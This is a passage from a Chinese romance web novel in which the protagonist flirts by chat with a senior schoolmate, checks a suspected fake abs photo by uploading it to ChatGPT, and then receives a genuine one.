蜜色的肌肤泛着油光,还有几滴不知道是汗还是水的东西附着在上面,看得许知韵心头荡漾。 可是下一秒,她反应过来,点开ChatGPT,把图片传了上去。 小幸韵:【截图】 小幸韵:【别想随便拿张网图糊弄我!人类和动物的区别,就是人类会使用工具。】 小幸韵:【既然你都没有诚意,那还是算了吧,不勉强,哎……早知道今天就让Felix给我饱饱眼福了。】 又是一阵熟悉的安静,许知韵觉得今天怕是缠不到学长这一顿了,于是准备鸣金收兵。结果就在摁灭手机的那一刻。 学长:【图片】 !!! 许知韵心头一颤,险些手机连同自己都一起从沙发上滚下去。 不同于刚才明显有P图痕迹的腹肌照,这张照片灯光昏暗,画质还有点模糊。 但正是因为这样天然去雕饰的细节,才让许知韵一秒确认,这就是学长腹肌的真容没错。 下载,点开,放大。 许知韵甚至默默调整了手机屏幕的亮度。 图中男人穿着件浅灰色宽松的运动裤,撩起的上身卫衣,只露出米白色的下摆。 他就那么松弛地半靠在沙发上,没有刻意用力凹造型,以便突出肌肉,可是那沟壑明显、泾渭分明的线条,是许知韵看了只想尖叫的程度。 秉着好奇且严谨的态度,许知韵从上到下,认真地数了一遍那两排凸起的巧克力。 八块! 不多不少,整整齐齐的八块! 比六块还多了两块的八块! 心脏像是被什么燎了一下,许知韵忽然就觉得脸颊都烧了起来,有点后悔在深夜把聊天的尺度开到了这种程度。 她暂停努力平复了一下,还没想好怎么回复,就看见对话框里跳出的新信息。 学长:【怎么样?跟Felix比谁更好?】